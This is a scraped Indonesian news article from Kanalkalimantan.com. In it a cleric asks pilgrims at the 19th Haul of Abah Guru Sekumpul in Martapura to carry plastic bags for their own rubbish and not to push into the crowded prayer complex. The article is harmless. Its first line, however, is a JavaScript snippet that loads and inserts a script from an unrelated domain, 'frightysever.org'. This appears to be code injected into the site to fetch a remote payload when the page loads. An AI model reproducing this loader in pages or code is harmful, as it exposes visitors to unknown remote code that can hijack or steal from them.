(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Haul ke-19 Abah Guru Sekumpul disambut antusias dari tahun-tahun sebelumnya, jemaah yang hadir diperkirakan jutaan orang.
Melihat kondisi tersebut, Pimpinan Pondok Pesantren Al Mursyidul Amin Gambut Tuan Guru KH M Rasyid Ridha, berpesan kepada para jemaah yang akan berhadir pada Haul Abah Guru Sekumpul untuk mengamalkan tagline “Datang Barasih Bulik Barasihâ€.
“Kita jemaah haul ke Sekumpul sebagai orang barasih, bulik (Pulang, red) harus barasih (Bersih, red),†kata Tuan Guru Rasyid Ridha dalam rekaman video pengajian di Ponpes Al Mursyidul Amin Gambut.
Baca juga:Â Imbauan Tim Induk Sekumpul Jelang 5 Rajab, Steril Politik di Sekumpul!
Bagaimana caranya, selama ini relawan-relawan itu, kata Guru Rasyid Ridha, ada yang fokus sebelum hari H, ada yang fokus pas hari H, dan sedikit atau tidak banyak relawan setelah hari H.
“Untuk mengurangi gawian (Kerja, red) relawan yang memungut sampah, ulun mengimbau jemaah yang datang Haul Sekumpul kalau bisa membawa kantongan plastik masing-masing,†ujar beliau.
Supaya apa kantong plastik itu, menurut Guru Rasyid Ridha, kantong plastik itu dipergunakan masing-masing jemaah memungut dan menyimpan sampah pribadi setelah acara.
Baca juga:Â 46 CCTV Terpasang di Martapura untuk Haul ke-19 Sekumpul, Terintegrasi ke CCTV di Banjarbaru
“Pian membawa anak, membawa cucu, sampah dari pian, anak pian, dan cucu pian simpani di kantongan plastik itu, pas bulik pian bawa, buang di tempat sampah yang ada pian tamui (Dapati, red),†anjur Guru Rasyid Ridha.
Cara tersebut menurut Guru Rasyid Ridha akan sangat membantu kebersihan lingkungan Haul Sekumpul. “Mangurangi gawian relawan-relawan kebersihan sasudah Haul, karena biasanya relawan-relawan sesudah haul kada tapi banyak, jadi tagline kita jemaah haul datang barasih bulik barasih,†kata anak dari KH Ahmad Bakrie ini.
Selain itu, Guru Rasyid Ridha juga mengingatkan, agar tidak memaksakan diri masuk ke Komplek Ar Raudhah Sekumpul, lebih-lebih masuk ke dalam Musholla Ar Raudhah.
Baca juga:Â Urai Macet, Perempatan Gerilya Banjarmasin Kini Dipasang Lampu Lalu Lintas
“Apabila sudah melihat mulai hibak. Jangan mamaksa labih jauh, cukup melihat di layar yang ada. Mun kadada layar, ada suara disitu aja duduk,†anjur Guru Rasyid Ridha.
Sebab menurut Guru Rasyid Ridha, jika sudah berniat hadir, Insya Allah semua yang hadir dimana pun posisi duduknya akan dapat keberkahan.
“Di mana aja kita duduk dengan niat hadir, Insya Allah Guru Sekumpul mengetahui keadaan kita dan Allah mengetahui niat kita. Jadi, jangan memaksakan diri,†jelas Guru Rasyid Ridha. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.